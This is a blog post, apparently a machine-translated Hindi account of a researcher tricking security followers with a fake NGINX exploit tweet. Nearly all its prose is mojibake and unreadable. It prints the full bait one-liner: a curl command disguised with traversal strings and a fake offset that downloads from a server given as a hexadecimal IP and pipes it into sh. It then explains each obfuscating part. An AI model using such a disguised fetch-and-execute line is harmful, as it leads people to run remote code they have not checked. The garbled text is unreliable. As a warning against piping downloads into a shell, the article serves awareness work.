рдирдЧрдиреЗрдХреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдХрд▓реА рд╢реЛрд╖рдг рдХреЗ рд╕рд╛рде рдПрдХ рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧ рдХреА рд╕рдлрд▓рддрд╛

рд▓рдЧрднрдЧред рдЯреНрд░рд╛рдВрд╕ред : 1 рдЬреВрди рдХреЛ рдкреНрд░рдХрд╛рд╢рд┐рдд рдореВрд▓ рд▓реЗрдЦ рдХреЗ рд▓реЗрдЦрдХ рдиреЗ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрдиреЗ рд╡рд╛рд▓реЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдиреНрд╣реЛрдВрдиреЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдореЗрдВ рдПрдХ рдЕрдЬреНрдЮрд╛рдд рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдирдХрд▓реА рд╢реЛрд╖рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдФрд░ рдЗрд╕реЗ рдЕрдкрдиреЗ рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ред рдЙрдирдХреА рдзрд╛рд░рдгрд╛рдПрдВ - рдЙрди рд╡рд┐рд╢реЗрд╖рдЬреНрдЮреЛрдВ рджреНрд╡рд╛рд░рд╛ рддреБрд░рдВрдд рдЙрдЬрд╛рдЧрд░ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдЬреЛ рдХреЛрдб рдореЗрдВ рдПрдХ рд╕реНрдкрд╖реНрдЯ рдзреЛрдЦрд╛рдзрдбрд╝реА рджреЗрдЦрддреЗ рд╣реИрдВ - рдмрд╕ рд╕рдЪ рдирд╣реАрдВ рд╣реБрдЖ ... рд╡реЗ рд╕рднреА рдЕрдкреЗрдХреНрд╖рд╛рдУрдВ рдХреЛ рдкрд╛рд░ рдХрд░ рдЧрдП, рдФрд░ рд╡рд┐рдкрд░реАрдд рджрд┐рд╢рд╛ рдореЗрдВ: рдЯреНрд╡реАрдЯ рдХреЛ рдХрдИ рд▓реЛрдЧреЛрдВ рд╕реЗ рдмрд╣реБрдд рд╕рдорд░реНрдерди рдорд┐рд▓рд╛, рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреАред



TL; DR: рд╢ рдпрд╛ рдмреИрд╢ рдореЗрдВ рдлрд╛рдЗрд▓ рдкрд╛рдЗрдкрд▓рд╛рдЗрдирд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрднреА рди рдХрд░реЗрдВред рдпрд╣ рдЖрдкрдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рдирд┐рдпрдВрддреНрд░рдг рдЦреЛрдиреЗ рдХрд╛ рдПрдХ рд╢рд╛рдирджрд╛рд░ рддрд░реАрдХрд╛ рд╣реИред

рдореИрдВ рдЖрдкрдХреЗ рд╕рд╛рде 31 рдордИ рдХреЛ рдмрдирд╛рдП рдЧрдП рдХреЙрдорд┐рдХ PoC рд╢реЛрд╖рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдЫреЛрдЯреА рдХрд╣рд╛рдиреА рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред рд╡рд╣ рддреБрд░рдВрдд рдЬреАрд░реЛ рдбреЗ рдЗрдирд┐рд╢рд┐рдПрдЯрд┐рд╡ (ZDI) рдХреЗ рдПрдХ рд╕рджрд╕реНрдп, рдПрд▓рд┐рд╕рд╛ рдПрд╕реЗрдЬ рд╢реЗрд╡рдЪреЗрдВрдХреЛ рдХреА рдЦрдмрд░ рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рджрд┐рдЦрд╛рдИ рджрд┐рдП, рдХрд┐ рдЬрд▓реНрдж рд╣реА RCE (рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди) рдХреЗ рд▓рд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ NGINX рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╛рдордиреЗ рдЖрдПрдЧреАред рдЪреВрдВрдХрд┐ рдПрдирдЬреАрдЖрдИрдПрдирдПрдХреНрд╕ рдХрдИ рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХрд╛ рдЖрдзрд╛рд░ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЦрдмрд░ рдореЗрдВ рд╡рд┐рд╕реНрдлреЛрдЯ рдмрдо рдХреЗ рдкреНрд░рднрд╛рд╡ рдХрд╛ рдЙрддреНрдкрд╛рджрди рдХрд░рдирд╛ рдерд╛ред рд▓реЗрдХрд┐рди рдЬрд╛рдирдХрд╛рд░реА рдХреЗ "рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХрдЯреАрдХрд░рдг" рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджреЗрд░реА рдХреЗ рдХрд╛рд░рдг, рдЬреЛ рдХреБрдЫ рд╣реБрдЖ рдЙрд╕рдХрд╛ рд╡рд┐рд╡рд░рдг рдЬреНрдЮрд╛рдд рдирд╣реАрдВ рдерд╛ - рдпрд╣ рдорд╛рдирдХ рдПрдлрдбреАрдЖрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИред


NGINX рднреЗрджреНрдпрддрд╛ рдкреНрд░рдХрдЯреАрдХрд░рдг рдЯреНрд╡реАрдЯ

рдХрд░реНрд▓ рдореЗрдВ рдирдИ рдЖрдХреНрд╖реЗрдк рддрдХрдиреАрдХ рдкрд░ рдХрд╛рдо рдЦрддреНрдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдореВрд▓ рдЯреНрд╡реАрдЯ рдХреЛ рдЙрджреНрдзреГрдд рдХрд┐рдпрд╛ рдФрд░ "рд╡рд░реНрдХрд┐рдВрдЧ рдкреАрдУрд╕реА рдХреЛ рд▓реАрдХ рдХрд┐рдпрд╛", рдЬрд┐рд╕рдореЗрдВ рдХреЛрдб рдХреА рдПрдХ рдкрдВрдХреНрддрд┐ рд╢рд╛рдорд┐рд▓ рдереА, рдЬрд┐рд╕реЗ рдЦреЛрдЬреЗ рдЧрдП рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдорд╛рдирд╛ рдЬрд╛рддрд╛ рдерд╛ред рдмреЗрд╢рдХ, рдпрд╣ рдкреВрд░реА рдмрдХрд╡рд╛рд╕ рдереАред рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ рдерд╛ рдХрд┐ рд╡реЗ рдореБрдЭреЗ рддреБрд░рдВрдд рд╕рд╛рдл рдкрд╛рдиреА рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд╛рдПрдВрдЧреЗ, рдФрд░ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫреЗ рд╕реЗ рдореБрдЭреЗ рдПрдХ рджреЛ рд░реАрдЯреНрд╡реАрдЯ (рдареАрдХ) рдорд┐рд▓реЗрдВрдЧреЗред


рдирдХрд▓реА рд╢реЛрд╖рдг рд╡рд╛рд▓рд╛ рдЯреНрд╡реАрдЯ

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдореИрдВ рд╕реЛрдЪ рднреА рдирд╣реАрдВ рд╕рдХрддрд╛ рдерд╛ рдХрд┐ рдЖрдЧреЗ рдХреНрдпрд╛ рд╣реБрдЖред рдореЗрд░реЗ рдЯреНрд╡реАрдЯ рдХреА рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдЖрд╕рдорд╛рди рдЫреВ рдЧрдИ рд╣реИред рд╣реИрд░рд╛рдиреА рдХреА рдмрд╛рдд рд╣реИ рдХрд┐ рдЗрд╕ рд╕рдордп (1 рдЬреВрди рдХреЛ 15:00 рдорд╛рд╕реНрдХреЛ рд╕рдордп), рдЕрдм рддрдХ рдХреБрдЫ рдиреЗ рдорд╣рд╕реВрд╕ рдХрд┐рдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рдирдХрд▓реА рд╣реИред рдХрдИ рд▓реЛрдЧ рдЗрд╕реЗ рдмрд┐рдирд╛ рдЬрд╛рдБрдЪ рдХрд┐рдП рд╣реА рд░рд┐рдЯреНрд╡реАрдЯ рдХрд░ рджреЗрддреЗ рд╣реИрдВ (рдкреНрдпрд╛рд░реЗ ASCII рдЧреНрд░рд╛рдлрд┐рдХреНрд╕ рдЬреЛ рдЗрд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрд╕рдХреА рдкреНрд░рд╢рдВрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ)ред


рдЬрд░рд╛ рджреЗрдЦреЛ рдХреНрдпрд╛ рд╕реМрдВрджрд░реНрдп рд╣реИ!

рдпрджреНрдпрдкрд┐ рдпреЗ рд╕рднреА рд▓реВрдк рдФрд░ рд░рдВрдЧ рдЕрджреНрднреБрдд рд╣реИрдВ, рдЬрд╝рд╛рд╣рд┐рд░ рд╣реИ: рдЙрдиреНрд╣реЗрдВ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рд▓реЛрдЧреЛрдВ рдиреЗ рдЕрдкрдиреА рдорд╢реАрди рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдЗрд╕ рддрдереНрдп рдХреЗ рд╕рдВрдпреЛрдЬрди рдореЗрдВ рдХрд┐ рдореБрдЭреЗ рдХрд╛рдиреВрдиреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдореЗрд░реА рд╕рд╛рдЗрдЯ рдореЗрдВ рдЫрд┐рдкреЗ рд╣реБрдП рдХреЛрдб рдиреЗ рдХрд┐рд╕реА рднреА рдЕрддрд┐рд░рд┐рдХреНрдд рдХреЛрдб рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд┐рдП рдмрд┐рдирд╛ рд╕рд┐рд░реНрдл рдЗрдХреЛ рдХреЙрд▓ рдХрд┐рдПред

рдПрдХ рдЫреЛрдЯреА рд╕реА рд╡рд┐рд╖рдпрд╛рдВрддрд░: рдердЧрдХреНрд░реЛрдб рдЯреАрдо рдХреЗ netspooky , dnz , I рдФрд░ рдЕрдиреНрдп рд▓реЛрдЧ рдХреБрдЫ рд╕рдордп рдХреЗ рд▓рд┐рдП рдХрд░реНрд▓ рдХрдорд╛рдВрдб рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рд╕реЗ рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╢рд╛рдВрдд рд╣реИ ... рдФрд░ рд╣рдо рдЧреАрдХреНрд╕ рд╣реИрдВред netspooky рдФрд░ dnz рдиреЗ рдХрдИ рдирдП рддрд░реАрдХреЛрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬреЛ рдореБрдЭреЗ рдмрд╣реБрдд рд╣реА рдЕрдЪреНрдЫрд╛ рд▓рдЧ рд░рд╣рд╛ рдерд╛ред рдореИрдВ рдордЬрд╝реЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛ рдЧрдпрд╛ рдФрд░ рдЪрд╛рд▓реЛрдВ рдХреЗ рдПрдХ рд╕реЗрдЯ рдореЗрдВ рдЖрдИрдкреА рджрд╢рдорд▓рд╡ рд░реВрдкрд╛рдВрддрд░рдг рдЬреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреАред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдЖрдИрдкреА рдХреЛ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдореЗрдВ рднреА рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрд░реНрд▓ рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЕрдиреНрдп NIX рдЙрдкрдХрд░рдг рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдЖрдИрдкреА рдЦрд╛рдиреЗ рдХрд╛ рдЖрдирдВрдж рд▓реЗрддреЗ рд╣реИрдВ! рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЬреЛ рдХреБрдЫ рдЖрд╡рд╢реНрдпрдХ рдерд╛, рд╡рд╣ рдмрд╕ рдПрдХ рдареЛрд╕ рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рджрд┐рдЦрдиреЗ рд╡рд╛рд▓реА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдмрдирд╛рдирд╛ рдерд╛ред рдореИрдВ рдЕрдВрддрддрдГ рдЗрд╕ рдкрд░ рдмрд╕ рдЧрдпрд╛:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost 

рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрд▓реЗрдХреНрдЯреНрд░реЙрдирд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ (рдПрд╕рдИрдИ) - рдмрд╕ рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╕реЗ рдЕрдзрд┐рдХ


рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдЖрджрдд рдЗрд╕ рдкреНрд░рдпреЛрдЧ рдХрд╛ рдореБрдЦреНрдп рд╣рд┐рд╕реНрд╕рд╛ рдереЗред рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╡реЗ рдереЗ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЙрдирдХреА рд╕рдлрд▓рддрд╛ рдХрд╛ рдиреЗрддреГрддреНрд╡ рдХрд┐рдпрд╛ред рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдиреЗ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ "127.0.0.1" (рдкреНрд░рд╕рд┐рджреНрдз рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ) рдХрд╛ рд╣рд╡рд╛рд▓рд╛ рджреЗрддреЗ рд╣реБрдП рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдирд┐рд╣рд┐рдд рдХрд┐рдпрд╛ред рдРрд╕рд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдФрд░ рдЗрд╕ рдкрд░ рдореМрдЬреВрдж рдбреЗрдЯрд╛ рдЖрдкрдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рдХрднреА рдирд╣реАрдВ рдЫреЛрдбрд╝рддрд╛ рд╣реИред

рдЖрджрдд рдкреНрд░рдпреЛрдЧ рдХрд╛ рджреВрд╕рд░рд╛ рдкреНрд░рдореБрдЦ SEE рдШрдЯрдХ рдерд╛ред рдЪреВрдВрдХрд┐ рд▓рдХреНрд╖рд┐рдд рджрд░реНрд╢рдХреЛрдВ рдореЗрдВ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд▓реЛрдЧ рд╢рд╛рдорд┐рд▓ рдереЗ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рддрд░рд╣ рдХреЗ рдХреЛрдб рдмрдирд╛рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдерд╛ рдХрд┐ рдЗрд╕рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдкрд░рд┐рдЪрд┐рдд рдФрд░ рдкрд░рд┐рдЪрд┐рдд рд▓рдЧ рд░рд╣реЗ рдереЗ (рдФрд░ рдЗрд╕рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд┐рдд)ред рдкреБрд░рд╛рдиреЗ рд╢реЛрд╖рдг рдХреА рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЗ рддрддреНрд╡реЛрдВ рдХреЛ рддреЛрдбрд╝рдирд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рдмрд╣реБрдд рд╕рдлрд▓ рд░рд╣рд╛ рд╣реИред

рдиреАрдЪреЗ рдПрдХ рдкрдВрдХреНрддрд┐ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рд╕реВрдЪреА рдореЗрдВ рд╕рдм рдХреБрдЫ рдкреНрд░рдХреГрддрд┐ рдореЗрдВ рдХреЙрд╕реНрдореЗрдЯрд┐рдХ рд╣реИ , рдФрд░ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд░реВрдк рд╕реЗ рдЗрд╕рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП рдХреБрдЫ рднреА рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИред

рдХреНрдпрд╛ рдШрдЯрдХ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ? рдпреЗ рд╣реИрдВ -gsS ; -O 0x0238f06a ; |sh рдФрд░ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╕реНрд╡рдпрдВред рд╡реЗрдм рд╕рд░реНрд╡рд░ рдореЗрдВ рдХреЛрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдирд┐рд░реНрджреЗрд╢ рдирд╣реАрдВ рдерд╛, рд▓реЗрдХрд┐рди index.html ред рдореЗрдВ рд▓рд┐рдкрд┐ рдореЗрдВ echo рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╕ ASCII рдЧреНрд░рд╛рдлрд┐рдХреНрд╕ рдХреЛ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рдмреАрдЪ рдореЗрдВ рдПрдХ рдкрдВрдХреНрддрд┐ рдХреЗ рд╕рд╛рде рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдерд╛, рддреЛ рдмреАрдЪ рдореЗрдВ index.html рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЗ рд░рдЦрд╡рд╛рд▓реЛрдВ рдХрд╛ рдХреЛрдИ рдмреБрд░рд╛ рдЗрд░рд╛рджрд╛ рдирд╣реАрдВ рдерд╛ред

  • ../../../%00 - рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд╛ рдЪрд┐рддреНрд░рдг рдХрд░рддрд╛ рд╣реИ;
  • ngx_stream_module.so - рдпрд╛рджреГрдЪреНрдЫрд┐рдХ NGINX рдореЙрдбреНрдпреВрд▓ рдХреЗ рд▓рд┐рдП рдкрде;
  • /bin/sh%00\<'protocol:TCP' - рд╣рдо рд▓рдХреНрд╖реНрдп рдорд╢реАрди рдкрд░ рдХрдерд┐рдд рд░реВрдк рд╕реЗ /bin/sh рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдФрд░ рдЯреАрд╕реАрдкреА рдЪреИрдирд▓ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ;
  • -O 0x0238f06a#PLToffset - PLT рдореЗрдВ рд╕рдорд╛рд╣рд┐рдд рдХрд┐рд╕реА рдореЗрдореЛрд░реА рдСрдлрд╕реЗрдЯ рдХреА рддрд░рд╣ #PLToffset рд▓рд┐рдП #PLToffset рджреНрд╡рд╛рд░рд╛ рдкреВрд░рдХ рдПрдХ рдЧреБрдкреНрдд рдШрдЯрдХ;
  • |sh; - рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЯреБрдХрдбрд╝рд╛ред рд╣рдореЗрдВ 0x0238f06a ( 2.56.240.x ) рдкрд░ рд╕реНрдерд┐рдд рд╣рдорд▓рд╛рд╡рд░ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рд╢ / рдмреИрд╢ рдореЗрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА;
  • nc /dev/tcp/localhost - рдПрдХ рдбрдореА рдЬрд┐рд╕рдореЗрдВ netcat /dev/tcp/localhost рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рдм рдХреБрдЫ рдлрд┐рд░ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рджрд┐рдЦреЗред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рдХреБрдЫ рднреА рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реБрдВрджрд░рддрд╛ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЗрди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред

рдпрд╣ рдПрдХ-рд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдФрд░ "рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрд▓реЗрдХреНрдЯреНрд░реЙрдирд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ" (рдЬрдЯрд┐рд▓ рдлрд╝рд┐рд╢рд┐рдВрдЧ) рдХреЗ рдкрд╣рд▓реБрдУрдВ рдХреА рдЪрд░реНрдЪрд╛ рдХрд╛ рд╕рдорд╛рдкрди рдХрд░рддрд╛ рд╣реИред

рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рдХрд╛рдЙрдВрдЯрд░рдореЗрд╢рд░реНрд╕


рдЪреВрдБрдХрд┐ рдореЗрд░реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рджрд╕реНрдп рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ / рд╣реИрдХрд░ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреЛ рдЕрдкрдиреА рдУрд░ рд╕реЗ "рд░реБрдЪрд┐" рдХреА рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдереЛрдбрд╝рд╛ рдФрд░ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рд░реЛрдзреА рдмрдирд╛рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рддрд╛рдХрд┐ рд▓реЛрдЧреЛрдВ рдХреЛ рдХреБрдЫ рдХрд░рдирд╛ рдкрдбрд╝реЗ (рдФрд░ рдЗрд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдордЬрд╝рд╛ рдЖрдпрд╛)ред рдореИрдВ рдпрд╣рд╛рдВ рд╕рднреА рдЬрд╛рд▓реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣рд╛ рд╣реВрдВ, рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рдпреЛрдЧ рдЕрднреА рднреА рдЬрд╛рд░реА рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣рд╛рдВ рдХреБрдЫ рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ рд╕рд░реНрд╡рд░ рдХрд░рддрд╛ рд╣реИ:

  • рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдХреБрдЫ рд╕рд╛рдорд╛рдЬрд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╡рд┐рддрд░рдг рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рдердВрдмрдиреЗрд▓ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рджреЗрддрд╛ рд╣реИред
  • Chrome / Mozilla / Safari / рдЖрджрд┐ рдХреЛ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп Thugcrowd рдкреНрд░реЛрдореЛ рд╡реАрдбрд┐рдпреЛ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • рдпрд╣ рдШреБрд╕рдкреИрда / рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд╕реНрдкрд╖реНрдЯ рд╕рдВрдХреЗрддреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдпрд╣ рдПрдирдПрд╕рдП рд╕рд░реНрд╡рд░реЛрдВ (рд╣рд╛!) рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред
  • рдЯреНрд░реЛрдЬрди, рд╕рд╛рде рд╣реА рд░реВрдЯрдХрд┐рдЯ BIOS, рдЙрди рд╕рднреА рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рдирдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдирд┐рдпрдорд┐рдд рдмреНрд░рд╛рдЙрдЬрд╝рд░ (рдордЬрд╛рдХ) рд╕реЗ рд╣реЛрд╕реНрдЯ рдХреА рдпрд╛рддреНрд░рд╛ рдХрд░рддреЗ рд╣реИрдВред


